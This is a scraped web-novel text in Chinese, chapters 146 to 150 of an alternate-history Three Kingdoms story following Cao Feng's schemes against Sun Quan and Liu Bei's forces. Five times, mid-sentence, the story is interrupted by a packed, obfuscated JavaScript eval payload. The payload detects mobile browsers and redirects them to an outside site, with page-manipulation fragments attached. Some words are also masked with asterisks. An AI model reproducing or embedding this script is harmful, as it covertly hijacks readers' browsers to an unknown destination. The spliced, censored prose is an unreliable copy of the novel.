刘备率先开口,对诸葛亮和庞统说:“两位军师,若将孙策还活着的消息传出去,东吴必定大乱。这样他们就没精力来向我们讨要荆州了。你们看,是否要将这个消息散播出去?” 庞统摇头,率先回道:“孙刘联盟共抗曹操,东吴若乱,对我们并无益处。况且荆州乃四战之地,割让部分给孙权也非不可。主公不必执着于荆州,当以天下为重!如此方能复兴汉室!” 在荆州问题上,庞统与诸葛亮一直存在分歧。 与诸葛亮注重“跨有荆益”的战略布局不同,庞统更看重实际利益。 他认为同时保有荆州和益州会导致兵力分散,且荆州难以长期坚守,反而会拖累刘备发展。 不如放弃部分荆州利益换取与孙权的稳固合作,更有利于集中力量北伐曹操。 诸葛亮没有与庞统争论荆州的问题。他从另一个角度为刘备分析了利弊。 诸葛亮轻摇羽扇,“孙策还活着的消息绝不能外传。孙策性格刚烈,并非理想盟友。孙权贪图小利缺乏远见,反而更容易掌控。” 刘备想了想,才点头:“孙家的家事,就让他们自己处理吧。” 张飞看了眼刘禅,随后嚷嚷着:“儿子多,就是麻烦。还是大哥好,就……” 关羽连忙止住张飞,“三弟,不要胡言。” 庞统看完曹风救孙策的一连串操作,忍不住暗叹:“好家伙,还能这么玩?” 更让庞统心惊的是,曹风的声音越听越耳熟。 他一定在哪听过这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722286|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个声音…… 想起来了! 是赤壁之战的时候! 庞统强压住内心的震惊,不动声色地继续和众人一起观看天幕。 当关羽看到自己出现在天幕上时,显得有些不自在。毕竟这个时代,没有照相和摄影技术。 张飞兴致勃勃地拉着关羽的胳膊,大笑道:“二哥!快看!那不是你吗?” 这也就是张飞,换作别人,关羽早就怒斥:“我又不瞎!还用你说?!” 看到天幕画面中,曹操千方百计拉拢关羽,关羽却始终不为所动,心里仍然惦记着大哥刘备。 想到当年在古城相聚时,自己还误会了关羽,张飞不禁笑着对关羽说:“二哥,真兄弟!” 众人也纷纷称赞关羽的义气。 尤其是刘备,要不是关羽一直护着他的两位夫人,她们恐怕早就遭到曹操的侮辱了。 关羽没有接话,表情隐隐有些尴尬。因为只有他自己知道,接下来的画面会是什么—— 他曾经教过曹风刀法。 果不其然。 看到关羽教授曹风刀法的画面,张飞不解地问:“二哥,你怎么还教曹风刀法?这家伙可是咱们的敌人。” 不等关羽回答,刘备先开口道:“我的两位夫人曾和我提过这件事情。这不是云长的错。曹风太过狡猾,竟然用了一个假的身份。” 刘备话锋一转,对关羽说:“不过二弟,此子有如此高超的射术和武艺,怎么可能只是个马弓手?你当时没怀疑过吗?” “没怀疑过。”关羽回答得很干脆,“当年酸枣会盟时,我也只是个普通的马弓手。” 刘备一时语塞,尴尬的笑了笑。 张飞没心没肺地大笑:“二哥说得对!那年我也还是站在大哥身后的步弓手呢。” “那些有眼无珠的诸侯,还以为咱哥俩是小喽啰。该着他们都没有好下场。” 刘备接过话茬,忽忆起往事,他笑着对关羽和张飞说:“那年我们连座位都没有。若不是两位兄弟相助,恐怕到现在我还是站着说话呢。” 原本尴尬的气氛顿时缓和了许多。 第146章 孙权作诗现场:吕蒙捧哏,鲁肃想跳江 数日后,曹操与曹风在虎牢关形成对峙之势。双方都按兵不动,抓紧时间整顿兵马,为即将到来的第二次官渡大战做着充分准备。 就在这紧张的氛围中,刘备和孙权的军队却开始频繁调动,天下的战局变得越发复杂起来。 孙权亲率十万大军直扑合肥。他几乎带走了东吴所有能征善战的名将。 孙权站在旗舰甲板上,望着浩荡的江面,碧眼中闪烁着志在必得的光芒。 熬了多少年了,自己终于等到了这一天。 这次出征,他誓要一战成名,攻占合肥,让天下人都知道东吴还有个至尊——他叫孙仲谋! 孙权特意命令船队从江夏经过,就是要向盘踞在那里的叛将凌统**。上次凌统叛变时,当众让孙权下不来台,这笔账他一直记在心里。这次,他就是要明目张胆地挑衅凌统,好把丢的面子都找回来。 船队顺流而下,让孙权感到意外的是,沿途竟未遭遇任何阻击。 孙权对身旁的甘宁笑道:“我原以为凌统那个叛将会从江夏出兵攻击我们,没想到他连水寨都不敢出,真是虎父犬子!” 甘宁嘴里斜叼着一根芦苇,腰间铜铃随着他的动作叮当作响。 即便已是一方将领,他仍改不掉当年锦帆贼的江湖**气:“至尊放心,凌统那小子要是敢来,我让他跟他爹一个下场!” 说着,甘宁抬手做了个拉弓射箭的动作,咧嘴一笑,“就像当年射死他爹凌操那样。” 孙权满意地点头:“既然他不敢来,就让他多活几天。等拿下合肥,再收拾这个叛徒也不迟。凌统真是鼠目寸光,居然投靠曹风那个毛头小子。” 当凌统被曹风招揽走后,孙权对曹风的恨意更深了。 曹风这小子,挖他老子曹操的墙角也就算了,现在居然挖到东吴头上来了。 又想到孙策也在曹风那边,孙权的杀意又浓了几分。 他孙权是何等人物?至尊眼里向来容不得半点沙子! 望着滚滚江水,孙权一挥衣袖,放声吟道:“十万截流去,合肥砺吴钩!六朝烟水阔,犹唱至尊功!哈哈,哈哈哈,哈哈哈哈哈!” 吕蒙挠了挠头,虽然没完全明白,但还是跟着拍手叫好。 看到孙权得意忘形的模样,鲁肃不自觉地皱起眉头,悄悄往后退了两步。 鲁肃被孙权吟诗尬得不行,甚至有一种想要跳江的冲动! 鲁肃在心里暗暗叹气:“这是什么诗……他还钩上了?!秋后算账的钩?我看还是赶紧撤军为妙。也不知公瑾那边如何了。” 此时,被孙权嘲讽的凌统正站在江夏水寨的哨塔上。他望着江面上渐行渐远的舰队黑影,迟迟不肯离开。 凌统知道,那是孙权的船队,甘宁也必定在其中某艘战船上。 想到这里,凌统的拳头不自觉地攥紧。 杀父仇人甘宁近在眼前,却不能出击,这种憋屈感让凌统胸口发闷。 李儒不知何时出现在凌统身后,“公绩,公子特意交代过,你若想现在就报仇,他不会阻拦。” 这位带着面具的灰衣谋士,望着滔滔江水,声音很平静,“公子还说,杀父之仇与杀母之仇一样,都是不共戴天之仇。毕竟你是公子任命的江夏太守,随意行事即可。” 凌统双眼通红,突然一拳重重砸在哨塔栏杆上,咬牙道:“为将者岂能因私废公!若坏了公子大事,我爹在九泉之下也要骂我!” 李儒伸出右手,关切地拍了拍凌统的肩膀。 若是凌统刚才决定出兵,落在他肩膀上的就会是那只藏着**的左手。 曹风能理解凌统的心情,但他李儒不理解! 李儒只在乎曹风的计划能否顺利执行。 只要凌统敢破坏布局,李儒会毫不犹豫地毒死他。哪怕事后被曹风责罚,李儒也在所不惜。 这就是他李儒的谋士之道! 见凌统仍在强压怒火,李儒从容一笑,语气笃定:“公绩,放心吧!纪灵将军的部队已经到了指定位置,孙权的退路已被切断。到时候……” “就让儒,再纵一次大火!送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726726|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们上路!”说到最后,李儒突然阴冷的大笑起来。 凌统刚因前半句话稍感安慰,却被李儒突如其来的笑声惊得打了个寒颤。 他心中佩服:“公子真是胆识过人,竟敢把这么危险的人物时刻带在身边。”转念又好奇:“公子就不怕被这面具人**误伤了?” “公绩,怎么了?”见凌统身体打了个哆嗦,李儒眯起眼睛问道。 “呃……江风有点冷。”凌统勉强干笑道。但他的身体已经本能地向旁边挪了半步,想要远离这个危险的面具谋士。 在曹风阵营中,不害怕李儒这个老毒物的,只有曹风和曹婴。 沉默片刻,凌统还是忍不住问道:“军师,公子有没有提过……如何处置甘宁?” 凌统的声音渐渐低了下去,他实在怕听到招降之类的回答。毕竟甘宁也是一员虎将,一般主公都不舍得杀。 孙权不就是这样一直留着甘宁么? 更让凌统无法接受的,孙权竟然还劝说他放下杀父之仇,与甘宁和解! 虽然从李儒先前的话语中,凌统多少能猜到曹风对甘宁的态度,但他仍想亲耳听到确切的答复。 李儒冰冷笑道:“公子从不食言!既然说要为你报仇,那甘宁就一定会死!” 凌统激动地想要朝西北方向行礼,李儒却用一本兵书按住他的手腕:“公子还说,见面时要考你兵法。若答不上来……” 李儒故意拖长声调,“公子也不会食言,绝对会惩罚你。” 凌统低头,郑重接过兵书,随即又苦着脸道:“上一本兵书的注解,我还没完全读懂,怎么又送来新的了?” “哈哈哈!”李儒大笑着甩袖离去。 凌统猛然想起孙家大小姐尚在江夏城中,他朝着远处江面上孙权的船队冷冷瞥了一眼,转身随李儒折返城中。 江夏城里,一个偏僻、整洁的小院中。 孙尚香无聊地擦着古锭刀,嘴里不满地嘟囔着:“凌小鱼这个家伙,真不靠谱。算了,本小姐自己去找曹风。” 第147章 孙尚香即将北上见曹风 孙尚香推开木门,迈步而出,余光却瞥见墙角蹲着一个衣衫破烂的老乞丐。 那乞丐身上的衣服已经看不出原本的颜色,补丁摞着补丁,膝盖处还破了个大洞。他蜷缩在墙角,像一团被人丢弃的破布,唯有那双眼睛亮得惊人。距离他腿脚不远处,横放着一根竹棍。 见孙尚香看过来,老乞丐咧开嘴笑了,露出仅剩的两颗黄褐色门牙。 “大清早的,真是晦气。”孙尚香小声嘀咕,但还是从腰间锦囊里取出一块碎银子。 银子在空中划出一道弧线,“叮”的一声落入乞丐面前的破碗当中。 老乞丐的眼睛顿时亮了起来。 他颤巍巍的从破碗中取出碎银子,对着阳光仔细端详了一会儿。 “姑娘留步……”乞丐喊住孙尚香,笑着道,“老叫花子看您面善,提醒您一句。现在转身回院子里去,还来得及。你若是再迈出几步,怕是要血溅当场喽。” 孙尚香闻言,右手按上了腰间的古锭刀。“本小姐五岁习武,九岁就能拉开二石弓,还怕什么宵小之徒?" 老乞丐摇摇头,不再多言,只是靠在斑驳的墙面上,哼起了一首古怪的小调。 那调子忽高忽低,像是某种不知名的童谣,又像是某种暗号。 孙尚香继续向前走去。 刚走出十几步,一个挑着扁担的小贩突然从巷口转出来,挡在她面前。 “小姐,买张蒸饼吧!刚出锅的,热乎着呢!”小贩满脸堆笑,揭开扁担一头的蒸笼,顿时白雾升腾。 孙尚香想到自己此行北上寻找曹风,路途遥远,确实需要备些干粮。于是,她随手又掏出一块碎银子抛给小贩:“来三张。” “好嘞!”小贩眉开眼笑,麻利地包好三张蒸饼。 就在孙尚香伸手要接的刹那,一声暴喝突然从身后传来: “有毒!别接!” 声音很熟悉,孙尚香伸出的手停在了半空。 只见凌统不知何时已经赶到,正从街角飞奔而来。 那小贩脸色骤变,原本谄媚的笑容瞬间扭曲成狰狞的表情。 他猛地掀翻扁担,蒸笼“咣当”一声砸在地上,也不心疼撒落了一地的蒸饼。 他双手各握着一把**,朝孙尚香心口刺去! 孙尚香本能地后撤半步,避过这致命一击。 还没等她稳住身形,耳边又传来“呼呼”的风声。 她急忙转身,古锭刀都来不及出鞘,顺势撩开一根乌黑的竹棍。 竹棍另一端,赫然是方才那个老乞丐!他将孙尚香的退路已经完全封死。 凌统此时已经来到孙尚香身旁,一把按住她正要出鞘的古锭刀。 “别动手!”凌统低声道。 随即,他分别向那两人,抱拳行礼:“两位,在下凌统,还请高抬贵手。我这就带她回院子,保证不再出来。” 老乞丐和小贩没有答话,而是不约而同地看向不远处。 那里有个五六岁模样的孩童,正背对着他们蹲在地上玩泥巴。 可当那“孩童”慢悠悠转过头来,却是一张成年男子的脸! “咯咯咯……”孩童嘴角还挂着一丝诡异的笑容:“既然凌大人开口了,这个面子我们得给。立刻让她回去!” 他用沾满泥巴的手指点了点孙尚香,“‘罪’大人吩咐过,这位东吴大小姐敢踏出院门,就按照奸细处理。” 凌统当然知道“罪”是谁。就是那个永远戴着面具的军师,曹风的亲信。 原来孙尚香这个隐蔽的院落早就被对方发现了!说明他们的一举一动也都在面具军师监视之下。 凌统心中震惊于曹风建立的情报网。与之相比,孙权的情报系统如同儿戏。 “凌小鱼!”孙尚香不满地扯了扯凌统的袖子,“你什么时候变得这么胆小了?就这三个装神弄鬼的家伙,我一个人就能解决!” 凌统苦笑着摇头:“大小姐,这里可不是江东。若是惹怒了那位面具军师,就算搭上我这条命也保不住你。” 就在气氛剑拔**张之际,一阵清脆如银铃的笑声,突然从上方传来。 众人看去,只见墙头上不知何时坐了个红衣少女。 她约莫十七八岁年纪,火红的裙摆随风轻扬,面上罩着层薄纱,只露出一双灵动的眼睛。 “小泥人~”红衣少女晃着双腿,笑着道:“两年不见,你还是这么喜欢玩泥巴呀?都当上小头目啦?” 那“孩童”闻言立即起身,恭恭敬敬地行了个大礼:“拜见红鸢姐姐。” 老乞丐和小贩也赶紧躬身:“见过红鸢大人。” “少来这套!”被称作红鸢的少女做了个鬼脸,“你都四十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732916|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多岁的人了,管我叫姐姐?欠揍了是不是?” “孩童”尴尬地用泥手挠头,“您既然来了,那''魅''大人是不是也……” 话音未落,巷口突然传来急促的马蹄声。 两辆马车一前一后驶来,稳稳停在巷口。 第一辆马车的车帘掀起,走出一位戴着面具的文士,正是李儒。 李儒环视一周,轻轻挥了挥手。 街道两旁的阴影处、屋顶上,商铺中,陆续走出十几人。 原来暗中看守孙尚香的远不止眼前三人! 这些人齐齐向李儒行礼,然后很快退去。 第二辆马车的车夫是个身着青衣的年轻女子。她放下马鞭,掀开车帘。 车中人探出身来,是一位美得令人窒息的女子。目似秋水,一颦一笑都带着摄人心魄的魅力。 “魅大人。”李儒微微颔首。 魅缓步下车,将一卷手札递给李儒:“李大人,这是公子手谕。请过目。” 李儒仔细查验后点点头,转身上车离去。既然曹风信中都说孙尚香不是奸细,他也没必要再监视孙尚香了。 此时红鸢早已从墙头跃下,和青衫女子一左一右站在魅身后——这正是魅最得力的两个助手:红鸢与青鸾。 魅的目光落在凌统身上,唇角勾起一抹浅笑:“凌将军,公子常说,江东子弟中,唯你最得他赏识。” 凌统连忙抱拳行礼:“公子谬赞了,凌统愧不敢当。” 然而下一秒,他的表情就凝固了。 只见魅又取出一卷竹简,轻轻放在他手中。“这是公子让麾下的谋士和将领共同批注的兵法。” 魅的眼中带着笑意,“可不要辜负了公子的好意。能翻看这兵法的,除了公子亲传弟子邓士载,也就只有你了。” 凌统苦着脸,收起兵法,心道:不是吧,又来?! 魅拉起孙尚香的手,仔细端详其人。 “不愧是公子称赞的''弓腰姬''。”魅的声音温柔似水,“果然英姿飒爽,与众不同。” 孙尚香眼前一亮,脱口而出:“仙女姐姐,是曹风让你来接我的吗?” 魅闻言不禁莞尔:“我可不是什么仙女。” 她眨了眨眼,低声道:“不过公子身边,倒真有一位仙女般的人物呢……” 第148章 曹风:黄老将军,可还识得谯县曹脩否? 魅提到的那位仙女儿——张嫣,此刻正骑着马与曹风并肩而行。 张嫣眉头微皱,目光落在曹风腰间挂着的那副鬼王面具上。那面具做工精细,青面獠牙,很有特点。 她语气平静地问道:“曹风,你去上庸到底要做什么?” 曹风咧嘴一笑,露出玩世不恭的表情:“去上庸见一位‘老’朋友。” “你还想骗我?”张嫣轻轻摇头,一缕青丝随风飘动,“我看你又是去跟人拼命,而且是很危险的那种。” 张嫣指着那副面具说:“我见过你戴过五次这个面具。每次看到它,就意味着你要去做不要命的事。” “第一次是在宛城之战。为了给你大哥报仇,你单枪匹马杀进胡车儿的营寨。你浑身是血地伏在马背上回来。要不是黑子通灵性把你驮回来,再加上华佗的医术,你早就没命了。” 曹风辩解道:“那次我根本不会死,有大哥在天之灵保佑。” 他抬头望了望天空,忽然话锋一转,“对了,你说修炼仙术真能羽化飞升吗?要是可以,你也教教我呗?” “你没这个天赋。”张嫣冷冷地瞥了他一眼,毫不客气地回绝。 张嫣突然意识到被带偏了话题,脸上难得露出愠色:“别打岔!第二次你戴着面具,单枪匹马杀进胡人的骑兵队救出马云禄。那次你也受伤了。” 曹风无奈摊手道:“那是杀得太激动,不小心咬破嘴唇,这也算受伤?” 张嫣轻哼一声,没理会他的狡辩,继续说道:“那白狼山的那次呢?你和张辽带着不到一千人就敢冲击乌桓数万大军。我记得你回来时,铠甲上插着七支箭,还能笑着说‘乌桓人的箭法真差''。” 曹风一边催促战马黑子加快速度,一边摊手道:“这次真是去见老朋友。就凭徐荣那张嘴,我要是去晚了,他肯定跟我那老朋友打起来。” 徐荣在截杀曹仁派往支援虎牢关的援军后,已率军撤回上庸。而田丰和沮授没有返回,这两人分别作为赵云和马超的军师,继续在前线与荀攸周旋,誓要报官渡之仇。 …… 就在孙权发兵攻打合肥的同时,作为盟友的刘备,也开始调兵遣将。两路大军同时出击,给曹氏势力施压。 他派关羽统领主力攻打曹操占据的襄阳,又命黄忠为主将、刘封为副将,率领偏师进攻曹风控制的上庸。 这支偏师约五千人,多是荆州老兵,其中还有白毦兵。 上庸城外,“曹”字旌旗猎猎作响。 黄忠来到城前叫阵:“徐荣,快叫曹风小儿出来受死!” 他手持凤嘴刀,虽年过六旬却威风不减。 徐荣站在城楼上,用大刀指着黄忠笑骂:“老匹夫,你熬了大半辈子,靠投奔大耳贼才有机会抛头露面。” “出来前,大耳贼没给你编一双草鞋吗?没草鞋你等会儿怎么逃命?” “你一个老卒还敢提大刀?挥得动吗?不会是竹片子做的吧?” 徐荣故意晃了晃自己手中的大刀。他身后的将士们跟着哄堂大笑。 还有人喊道: “黄老头,回家抱孙子去吧!” “依我看,他连孙子都抱不动了!” 黄忠气得胡须直抖,大怒,用大刀指着徐荣:“你自己也是个老头,还敢嘲笑我?我倒要看看你的武艺有没有嘴皮子这么厉害!” 徐荣大喝一声“开城门”,随即翻身上马,毫不畏惧地迎战。 黄忠提刀纵马直取徐荣。 两马相交时,徐荣大喝一声:“谁放冷箭谁就是孙子!” 自从上次被曹仁用冷箭射伤大腿,徐荣就格外警惕。见黄忠马上挂着宝弓,他先发制人地警告,免得吃亏。 虽然徐荣自己也擅长射箭,但从不屑于单挑时放冷箭。 这话让徐荣军中的曹性最为尴尬。他原本已经躲在城垛后,张弓搭箭,准备找机会给黄忠来一箭。听到徐荣的话,他只好默默放下弓箭。 黄忠和徐荣已交手三十回合,仍未分胜负。 两人刀来刀往,火星四溅。 见两个老将打得焦灼,场中最焦急的要数刘封。 他不敢告诉黄忠,其实曹风就是曹脩。他担心这个倔老头不信,反而一刀砍了他。以黄忠的脾气,完全可能这么做。 刘封焦急地四处张望,小声嘀咕:“曹风怎么还不来?” 陈到一直冷眼旁观,眉头紧锁,警惕地看向刘封:“大公子怎知曹风会来?” 刘封这才意识到说漏嘴了,忘了身边还有刘备派来监督他们的陈到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737778|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陈到长期统领精锐白毦兵,负责刘备的贴身护卫,是刘备的绝对心腹。此人沉默寡言,但心思缜密,深得刘备信任。 虽然黄忠之前用“与曹风有仇”的理由成功说服众人,但刘备总觉得哪里不对劲,可又说不上来哪里不对劲儿。 最后他想明白了:凡是跟曹风有关的事,必定有蹊跷。这个曹风就像自己克星,走到哪都能惹出麻烦。 因此,刘备对老将黄忠并不完全信任。同时,在诸葛亮和关羽的多次提醒下,刘备对义子刘封也越来越疏远和不信任。 所以刘备派来了陈到监督二人。 这支部队名义上由黄忠和刘封指挥,实际掌控权却在陈到手中。所有校尉以上的军官都接到了密令:必要时听从陈到调遣。 一旦二人有叛变迹象,陈到会立即下令诛杀。 见刘封发愣,陈到更加怀疑,手已握住环首刀,他冷冷地重复:“大公子怎知曹风会来?” 刘封突然想起曹风给他的锦囊计——若遇刘备派来监督的人,可按计保命甚至反杀。 据说这计策出自擅长保命的贾诩之手,刘封对此深信不疑。 刘封压低声音神秘地说:“陈将军有所不知。临行前军师给了我一个锦囊,说曹风必定会增援上庸。” 陈到皱眉问道:“军师还说了什么?”他记得诸葛亮确实有给锦囊的习惯。 刘封凑近他耳边:“正要告诉你呢。擒贼先擒王,军师让我们假意投降,趁机拿下曹风。” 陈到还是不信,质疑道:“临行前,军师为何不告诉我?” “这我哪知道?”刘封摊手,“要不回去后你自己问军师?” 刘封强作镇定,但手心已经汗湿了。 就在这时,远处突然尘土飞扬,一队骑兵正快速逼近。 为首的将领骑着白马,手持银枪,身披黄金甲,脸上戴着一副狰狞的鬼王面具。 刘封一见到这标志性的装扮,终于松了口气——曹风终于来了。 曹风纵马疾驰,弯弓搭箭,朗声笑道:“黄老将军,可还识得谯县曹脩否?” 话音未落,一箭破空而至,不偏不倚正中黄忠与徐荣两把大刀交缠之处! 这一箭力道十足,硬生生将僵持不下的二人分开。 第149章 陈到:到头来,只有我一个是真诈降? “好箭法!”城头上的曹性看得真切,不由得拍手叫好。 曹风刚才那一箭,仍在曹性脑海中不断回放:战马嘶鸣声中,曹风在疾驰的马背上张弓搭箭,随即松手,箭出! 整个动作一气呵成,毫不拖泥带水。 曹性暗自比较着若是自己出手,能有几分把握做到同样的事? 这一箭看似简单,但作为箭术高手,曹性深知其中的难度。 首先,曹风要在奔跑的马背上稳住身形,这考验他的骑术和与战马的默契。尤其是曹风的战马‘黑子’,虽然稳,但速度极快。 其次,曹风射箭时正值逆风,必须精准把控力道,同时估算风力对箭矢的影响。 最难得的是,这一箭不仅要命中目标,还要将两把大刀分开——既需要极强的臂力,又得拿捏最精确的角度。 想到这里,曹性忍不住对身旁的副将感叹道:“公子这一箭,当真神乎其技!别说吕布辕门射戟,恐怕连飞将军李广在世,也不过如此。” 曹性顿了顿,又苦笑道:“我苦练箭术二十多年,却连公子的箭尾都追不上。” 同样精通箭术的徐荣低头看了眼自己的大刀,刀面上还留着刚才那一箭钉出的凹痕。他放声大笑,“才两年没见,公子的箭法又精进了!记得上次比试时,他还没这般火候。” 说着,他转头瞪向黄忠,眼中带着挑衅:“老匹夫,你不是要找我家公子吗?我家公子现在来了,你还能怎样?!都说你箭术了得,我家公子这一箭,你能做得到吗?” 黄忠没有理会徐荣的话,目光牢牢盯着曹风脸上那张熟悉的鬼王面具上。 这张面具,他在熟悉不过! 并且从对方的声音,到方才那精准的分刀一箭,此刻他已确信无疑。 眼前这位白马银枪、身披黄金甲的将军,正是自己的恩人曹脩。 “公子如此大恩,黄忠怎能不识得!”黄忠抱拳深深一礼,声音因激动而微微发颤。 先前从刘封处听闻恩人遇害的消息,他悲愤万分。如今亲眼见到恩人安然无恙,叫他如何能不激动! 曹风朗声大笑,抬手摘下了那张狰狞的鬼王面具,露出一张英俊刚毅的面容。 “老将军别来无恙!”曹风爽朗地说道,“当年多有不便,只能用‘曹脩’这个名字与您相交。” “如今大事已成,不妨告诉你——我既是曹脩,也是曹风!” 黄忠先是一愣,等想明白事情的经过后,不由得放声大笑。 “哈哈哈!公子这是''自己杀自己''?这出戏演得真是精彩!” 徐荣在一旁也惊讶地看了看两人,没想到黄忠竟然也是自己人。 他摸着下巴上的胡须,若有所思。曹风这些年的布局,让他不由得心生佩服。 公子心思之缜密,谋划之深远,实在令人叹服。就像当年救下自己时那样。 曹风策马上前几步,手中**直指刘封等人,不容置疑道:“你们已经被包围了,没了退路。此时不降,更待何时?” 黄忠作为刘备这支部队名义上的主帅,率先响应曹风。 他将手中那柄陪伴他征战多年的长刀重重掷在地上,“黄忠愿降公子!” 刘封见状,悄悄给陈到使了个眼色。然后翻身下马,将佩剑扔得很远。 “我等愿降曹风公子!”刘封眼角余光始终注意着周围的动静。 果然,那些刘备军的士兵并没有立即放下武器,而是齐刷刷看向陈到。 刘封在心中冷笑,这些士兵的反应,正好印证了他之前的猜测。看来陈到确实是刘备安插的眼线。 陈到环顾四周,发现己方确实已经被团团包围。他咬了咬牙,知道现在硬拼只有死路一条,只得按照刘封之前交代的锦囊计策,假装投降,好借机擒住曹风。 他缓缓将手中的环首刀丢在地上,“我等愿降!” 他身后的士兵们见状,这才也跟着弃械投降。 等徐荣引着众人回到上庸城后,局势突变。 众人刚迈入府衙,突然涌出数十名精锐亲卫,瞬间就将陈到按倒在地。 陈到还未来得及反应,就被麻绳捆了个结实。 “曹风!我已经投降,你这是什么意思?”陈到一边挣扎,一边愤怒地质问。 见曹风只是笑着看他,并不答话,陈到猛地看向刘封和黄忠。 发现这两人神色如常,并未被束缚,他顿时明白过来。 他咬牙切齿道:“你们……你们两个……” 刘封踱步上前,拍了拍陈到的肩膀,冷笑道:“陈将军,锦囊妙计我确实是有,不过不是诸葛军师给的,而是曹风公子所赐。” 说着,他从怀中掏出一个精致的锦囊,在陈到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737779|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前晃了晃。 “我与黄老将军早就归顺公子了,今日这场戏,就是专为你准备的。” “无耻!”陈到双目赤红,声音嘶哑,“刘封!你身为主公长子,却做出这等背主求荣之事,简直禽兽不如!” 这句话彻底戳中了刘封的痛处。 “长子?!”刘封突然暴怒,一把揪住陈到的衣领,险些要把陈到提起来。 刘封的声音越说越高,最后几乎是靠吼:“刘备什么时候把我当儿子了?这些年我在他手下,不仅没被重用,还处处受排挤!关羽、诸葛亮事事刁难我,不就是要给阿斗铺路吗?” 陈到听罢,知道再争辩也是徒劳。作为刘备的心腹亲信,他自然清楚刘备对刘封的真实态度。 他转而怒视黄忠,厉声喝道:“黄忠老匹夫!你以为投靠曹风就能有好下场?别忘了你的家小还在荆州!” 黄忠脸色一变,但很快又镇定下来。 他看向曹风。心想以曹风的手段,必定早有安排。这位公子做事向来滴水不漏,就像当年救治他的儿子黄叙那样。 果然,曹风不紧不慢地走到陈到面前,轻轻拍了拍他的肩膀。 “陈将军别急。黄老将军的家眷,我早就派人去接了。两天前就已经动身往上庸来了。你还考虑一下你自身的处境吧。” “哼!”陈到冷哼一声,“有什么好考虑的,只有一死,报答主公的知遇之恩。” 曹风摆了摆手,“算了!你现在头脑不冷静,我已经提前替你考虑好了。” “不仅黄老将军的家眷在路上了,您的夫人和两位公子,也在来上庸的路上了。” 陈到:??? 陈到:!!! 陈到如遭雷击,嘴唇颤抖着,却说不出话来。过了好半晌,他才怒斥曹风道,“曹风,你这个卑鄙小人!” “哎?!”曹风止住陈到接下来的骂声,“你这可骂错人了,主意是贾诩想出来的。” 曹风话锋一转:“你给刘备做亲卫,天天护着他跑路,能有什么出息?我正好缺个亲卫首领,就你了。” 陈到傻眼了,反问道:“你敢让一个降将做亲卫首领?” “有何不敢?”曹风指了指站在一旁的张嫣,“你也打不过她,更打不过我。” “并且,”曹风又开玩笑道,“我们老曹家祖传,好梦中**!” 第150章 双龙玉佩:孙策与周瑜的生死之约 三日后…… 陈到终于见到了家人。 这一路上,【魍】组织的成员把他的家人照顾得很好。陈到心里百感交集。 他跟随刘备这么多年,好不容易等到刘备有了地盘,他也有了崭露头角的机会。眼看就能晋升,却被曹风强行征召,一切都要从头再来。他心中对此仍有不甘。 但陈到转念一想,过去每次跟着刘备逃亡时,自己都没机会照顾家人,如今反倒安心了些。 与此同时,黄忠也见到了儿子黄叙。随后,他带着黄叙,率领一支精锐骑兵快马加鞭赶往江夏,准备支援凌统,一同截杀孙权。 曹风本人在上庸城又驻留了五日。一直等到了两个人后,才终于启程。 他率领众人乘船顺流而下,直奔东吴的柴桑。 楼船在江面上平稳前行。 陈到站在甲板上,手中紧握凉刀,目光复杂地望着伫立在船头的曹风。 